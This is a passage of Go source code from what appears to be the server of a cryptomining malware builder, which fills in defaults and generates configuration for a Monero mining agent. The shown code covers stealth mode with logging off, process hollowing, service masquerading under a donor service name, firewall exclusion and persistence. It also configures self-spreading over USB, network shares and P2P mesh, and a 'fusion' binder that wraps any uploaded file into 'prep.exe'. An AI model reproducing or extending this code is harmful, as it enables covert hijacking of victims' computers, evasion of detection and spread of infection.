// must be relative to data_dir; no drive letters, no absolute paths, no traversal
|
||
clean := filepath.Clean(req.OutputDir)
|
||
if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) || strings.Contains(clean, ":") {
|
||
return fmt.Errorf("output_dir must be a relative folder under data_dir")
|
||
}
|
||
req.OutputDir = clean
|
||
}
|
||
if req.Threads <= 0 {
|
||
req.Threads = 4
|
||
}
|
||
if req.ThreadMode == "" {
|
||
req.ThreadMode = "percent"
|
||
}
|
||
if req.ThreadPercent <= 0 {
|
||
req.ThreadPercent = 75
|
||
}
|
||
if req.ThreadPercent > 100 {
|
||
req.ThreadPercent = 100
|
||
}
|
||
if req.DisplayMode == "" {
|
||
if req.SilentMode {
|
||
req.DisplayMode = "silent"
|
||
} else {
|
||
req.DisplayMode = "background"
|
||
}
|
||
}
|
||
if req.Persistence {
|
||
req.AutoStart = true
|
||
}
|
||
if req.ProcessName == "" {
|
||
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||
}
|
||
if req.MaxMemoryPct <= 0 {
|
||
req.MaxMemoryPct = 70
|
||
}
|
||
if req.CPUPriority == "" {
|
||
req.CPUPriority = "below_normal"
|
||
}
|
||
if req.MiningMode == "" {
|
||
req.MiningMode = "always"
|
||
}
|
||
if req.RunAs == "" {
|
||
req.RunAs = "user"
|
||
}
|
||
if req.MaxCPUUsagePct <= 0 {
|
||
req.MaxCPUUsagePct = 80
|
||
}
|
||
if req.MinFreeRAMMB <= 0 {
|
||
req.MinFreeRAMMB = 1024
|
||
}
|
||
if req.IdleThresholdPct <= 0 {
|
||
req.IdleThresholdPct = 20
|
||
}
|
||
if req.IdleDurationMinutes <= 0 {
|
||
req.IdleDurationMinutes = 5
|
||
}
|
||
if req.ScheduleStart == "" {
|
||
req.ScheduleStart = "21:00"
|
||
}
|
||
if req.ScheduleEnd == "" {
|
||
req.ScheduleEnd = "06:00"
|
||
}
|
||
if req.InstallBase == "" {
|
||
req.InstallBase = "localappdata"
|
||
}
|
||
if req.InstallRelativePath == "" {
|
||
req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
|
||
}
|
||
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
|
||
return fmt.Errorf("install_custom_base is required when install_base is custom")
|
||
}
|
||
if req.StealthMode {
|
||
req.FileLogging = false
|
||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||
req.DisplayMode = "background"
|
||
}
|
||
}
|
||
if req.PoolHost == "" {
|
||
req.PoolHost = "pool.supportxmr.com"
|
||
}
|
||
if req.PoolPort <= 0 {
|
||
req.PoolPort = 3333
|
||
}
|
||
if req.PoolPass == "" {
|
||
req.PoolPass = "x"
|
||
}
|
||
if req.FusionEnabled {
|
||
if req.FusionRunOrder == "" {
|
||
req.FusionRunOrder = "parallel"
|
||
}
|
||
if req.FusionOutputName == "" {
|
||
req.FusionOutputName = "prep.exe"
|
||
}
|
||
if req.FusionMediaMode == "" {
|
||
req.FusionMediaMode = "paired"
|
||
}
|
||
req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
|
||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||
req.DisplayMode = "background"
|
||
}
|
||
}
|
||
if req.AIEnabled {
|
||
if req.AIOllamaEndpoint == "" {
|
||
req.AIOllamaEndpoint = "http://localhost:11434"
|
||
}
|
||
if req.AIModel == "" {
|
||
req.AIModel = "llama3.2"
|
||
}
|
||
}
|
||
if strings.TrimSpace(req.TargetOS) == "" {
|
||
req.TargetOS = "windows"
|
||
}
|
||
if req.SpreadKit {
|
||
req.FusionEnabled = false
|
||
req.TargetOS = "universal"
|
||
if req.RunAs == "" || req.RunAs == "user" {
|
||
req.RunAs = "scheduled"
|
||
}
|
||
req.Persistence = true
|
||
req.AutoStart = true
|
||
}
|
||
return nil
|
||
}
|
||
|
||
func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
|
||
if header == nil {
|
||
return "", nil, fmt.Errorf("fusion upload is missing")
|
||
}
|
||
if header.Size > FusionMaxUploadBytes {
|
||
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||
}
|
||
if header.Size < 0 {
|
||
return "", nil, fmt.Errorf("fusion upload size unknown — retry with a smaller file")
|
||
}
|
||
baseName := filepath.Base(header.Filename)
|
||
if baseName == "" || baseName == "." {
|
||
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||
}
|
||
if !isFusionPayloadExt(baseName) {
|
||
return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
|
||
}
|
||
|
||
prepRoot := filepath.Join(h.dataDir, "preps")
|
||
if err := os.MkdirAll(prepRoot, 0755); err != nil {
|
||
return "", nil, fmt.Errorf("failed to create preps directory: %w", err)
|
||
}
|
||
dir, err := os.MkdirTemp(prepRoot, "upload-*")
|
||
if err != nil {
|
||
return "", nil, err
|
||
}
|
||
dest := filepath.Join(dir, sanitizeFileName(baseName))
|
||
out, err := os.Create(dest)
|
||
if err != nil {
|
||
os.RemoveAll(dir)
|
||
return "", nil, err
|
||
}
|
||
written, err := io.Copy(out, io.LimitReader(file, FusionMaxUploadBytes+1))
|
||
out.Close()
|
||
if err != nil {
|
||
os.RemoveAll(dir)
|
||
return "", nil, err
|
||
}
|
||
if written == 0 {
|
||
os.RemoveAll(dir)
|
||
return "", nil, fmt.Errorf("fusion upload is empty")
|
||
}
|
||
if written > FusionMaxUploadBytes {
|
||
os.RemoveAll(dir)
|
||
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||
}
|
||
cleanup := func() { _ = os.RemoveAll(dir) }
|
||
return dest, cleanup, nil
|
||
}
|
||
|
||
// isFusionPayloadExt accepts any file with a non-empty extension.
|
||
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
|
||
func isFusionPayloadExt(name string) bool {
|
||
ext := strings.ToLower(filepath.Ext(name))
|
||
return ext != "" && ext != "."
|
||
}
|
||
|
||
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
||
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
|
||
// Build ID: %s
|
||
// Generated at: %s
|
||
|
||
package config
|
||
|
||
import "time"
|
||
|
||
func GetBuiltinConfig() BuiltinConfig {
|
||
return BuiltinConfig{
|
||
WorkerName: %q,
|
||
ServerURL: %q,
|
||
Wallet: %q,
|
||
Threads: %d,
|
||
ThreadMode: %q,
|
||
ThreadPercent: %d,
|
||
CPUPriority: %q,
|
||
MiningMode: %q,
|
||
DisplayMode: %q,
|
||
SilentMode: %v,
|
||
RunAs: %q,
|
||
AutoStart: %v,
|
||
ProcessName: %q,
|
||
BuildID: %q,
|
||
BuiltAt: time.Unix(%d, 0),
|
||
PoolHost: %q,
|
||
PoolPort: %d,
|
||
PoolTLS: %v,
|
||
PoolPass: %q,
|
||
MaxCPUUsage: %d,
|
||
MaxMemoryPct: %d,
|
||
MinFreeRAM: %d,
|
||
IdleThresholdPct: %d,
|
||
IdleDurationMinutes: %d,
|
||
ScheduleStart: %q,
|
||
ScheduleEnd: %q,
|
||
InstallBase: %q,
|
||
InstallCustomBase: %q,
|
||
InstallRelativePath: %q,
|
||
AdaptToHardware: %v,
|
||
SelfHealing: %v,
|
||
FileLogging: %v,
|
||
StealthMode: %v,
|
||
FirewallExclusion: %v,
|
||
AIEnabled: %v,
|
||
AIOllamaEndpoint: %q,
|
||
AIModel: %q,
|
||
ProcessHollowing: %v,
|
||
MeshP2P: %v,
|
||
AutoSpread: %v,
|
||
HolePunch: %v,
|
||
RemoteAggressive: %v,
|
||
USBSpread: %v,
|
||
ShareSpread: %v,
|
||
BackupServerURLs: %s,
|
||
BackupPools: %s,
|
||
ServiceMasquerade: %v,
|
||
ServiceName: %q,
|
||
ServiceDonor: %q,
|
||
FleetSecret: %q,
|
||
}
|
||
}
|
||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||
req.WorkerName,
|
||
req.ServerURL,
|
||
req.Wallet,
|
||
req.Threads,
|
||
req.ThreadMode,
|
||
req.ThreadPercent,
|
||
req.CPUPriority,
|
||
req.MiningMode,
|
||
req.DisplayMode,
|
||
req.SilentMode,
|
||
req.RunAs,
|
||
req.AutoStart,
|
||
req.ProcessName,
|
||
buildID,
|
||
time.Now().Unix(),
|
||
req.PoolHost,
|
||
req.PoolPort,
|
||
req.PoolTLS,
|
||
req.PoolPass,
|
||
req.MaxCPUUsagePct,
|
||
req.MaxMemoryPct,
|
||
req.MinFreeRAMMB,
|
||
req.IdleThresholdPct,
|
||
req.IdleDurationMinutes,
|
||
req.ScheduleStart,
|
||
req.ScheduleEnd,
|
||
req.InstallBase,
|
||
req.InstallCustomBase,
|
||
req.InstallRelativePath,
|
||
req.AdaptToHardware,
|
||
req.SelfHealing,
|
||
req.FileLogging,
|
||
req.StealthMode,
|
||
req.FirewallExclusion,
|
||
req.AIEnabled,
|
||
req.AIOllamaEndpoint,
|
||
req.AIModel,
|
||
req.ProcessHollowing,
|
||
req.MeshP2P,
|
||
req.AutoSpread,
|
||
req.HolePunch,
|
||
req.RemoteAggressive,
|
||
req.USBSpread,
|
||
req.ShareSpread,
|
||
formatGoStringSlice(req.BackupServerURLs),
|
||
formatGoBackupPools(req.BackupPools),
|
||
serviceMasqueradeEnabled(req),
|
||
serviceMasqueradeName(buildID, req),
|
||
serviceMasqueradeDonor(buildID, req),
|
||
h.fleetSecret,
|
||
)
|
||
}
|
||
|
||
// formatGoBackupPools emits a Go literal for []config.BackupPool.
|
||
func formatGoBackupPools(pools []BackupPool) string {
|
||
if len(pools) == 0 {
|
||
return "nil"
|
||
}
|
||
var sb strings.Builder
|
||
sb.WriteString("[]BackupPool{")
|
||
for i, p := range pools {
|
||
if i > 0 {
|
||
sb.WriteString(", ")
|
||
}
|
||
pass := p.Pass
|
||
if pass == "" {
|
||
pass = "x"
|
||
}
|
||
fmt.Fprintf(&sb, "{Host: %q, Port: %d, TLS: %v, Pass: %q}", p.Host, p.Port, p.TLS, pass)
|
||
}
|
||
sb.WriteString("}")
|
||
return sb.String()
|
||
}
|
||
|
||
func serviceMasqueradeEnabled(req *BuildRequest) bool {
|
||
return req.RunAs == "service" || req.ProcessHollowing
|
||
}
|
||
|
||
func serviceMasqueradeName(buildID string, req *BuildRequest) string {
|
||
if !serviceMasqueradeEnabled(req) {
|
||
return ""
|
||
}
|
||
name, _ := pickServiceMasquerade(buildID)
|
||
return name
|
||
}
|
||
|
||
func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
|
||
if !serviceMasqueradeEnabled(req) {
|
||
return ""
|
||
}
|
||
_, donor := pickServiceMasquerade(buildID)
|
||
return donor
|
||
}
|
||
|
||
func (h *Handler) copyAgentSource(destDir string) error {
|
||
srcDir := h.agentSrcDir
|
||
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
|
||
if err != nil {
|
||
return err
|
||
}
|
||
relPath, err := filepath.Rel(srcDir, path)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
if relPath == "config"+string(os.PathSeparator)+"builtin.go" {
|
||
return nil
|
||
}
|
||
destPath := filepath.Join(destDir, relPath)
|
||
if info.IsDir() {
|
||
return os.MkdirAll(destPath, 0755)
|
||
}
|
||
if info.Mode()&os.ModeSymlink != 0 {
|
||
return nil
|
||
}
|
||
ext := filepath.Ext(path)
|
||
base := filepath.Base(path)
|
||
if ext != ".go" && base != "go.mod" && base != "go.sum" {
|
||
return nil
|
||
}
|
||
return copyFile(path, destPath)
|
||
})
|
||
}
|
||
|
||
func copyFile(src, dest string) error {
|
||
in, err := os.Open(src)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
defer in.Close()
|
||
if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil {
|
||
return err
|
||
}
|
||
out, err := os.Create(dest)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
defer out.Close()
|
||
_, err = io.Copy(out, in)
|
||
return err
|
||
}
|
||
|
||
func looksLikeXMRWallet(addr string) bool {
|
||
a := strings.TrimSpace(addr)
|
||
if len(a) < 90 || len(a) > 106 {
|
||
return false
|
||
}
|
||
if a[0] != '4' {
|
||
return false
|
||
}
|
||
for i := 1; i < len(a); i++ {
|
||
c := a[i]
|
||
if (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') {
|
||
continue
|
||
}
|
||
return false
|
||
}
|
||
return true
|
||
}
|
||
|
||
func formatGoStringSlice(values []string) string {
|
||
if len(values) == 0 {
|
||
return "nil"
|
||
}
|
||
parts := make([]string, 0, len(values))
|
||
for _, v := range values {
|
||
v = strings.TrimSpace(v)
|
||
if v != "" {
|
||
parts = append(parts, fmt.Sprintf("%q", v))
|
||
}
|
||
}
|
||
if len(parts) == 0 {
|
||
return "nil"
|
||
}
|
||
return "[]string{" + strings.Join(parts, ", ") + "}"
|
||
}
|
||
|
||
func sanitizeFileName(name string) string {
|
||
replacer := strings.NewReplacer(
|
||
" ", "-", "/", "-", "\\", "-", ":", "-",
|
||
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
|
||
)
|
||
return replacer.Replace(name)
|
||
}
|
||
|
||
// safePathUnderRoot resolves name under root and rejects traversal escapes.
|
||
func safePathUnderRoot(root, name string) (string, error) {
|
||
if name == "" || strings.Contains(name, "..") {
|
||
return "", fmt.Errorf("invalid path")
|
||
}
|
||
cleanName := filepath.Clean(name)
|
||
if filepath.IsAbs(cleanName) {
|
||
return "", fmt.Errorf("invalid path")
|
||
}
|
||
absRoot, err := filepath.Abs(root)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
full := filepath.Join(absRoot, cleanName)
|
||
absFull, err := filepath.Abs(full)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) {
|
||
return "", fmt.Errorf("path escapes root")
|
||
}
|
||
return absFull, nil
|
||
}
|
||
|
||
func writeJSON(w http.ResponseWriter, status int, v interface{}) {
|
||
w.Header().Set("Content-Type", "application/json")
|
||
w.WriteHeader(status)
|
||
json.NewEncoder(w).Encode(v)
|
||
}
|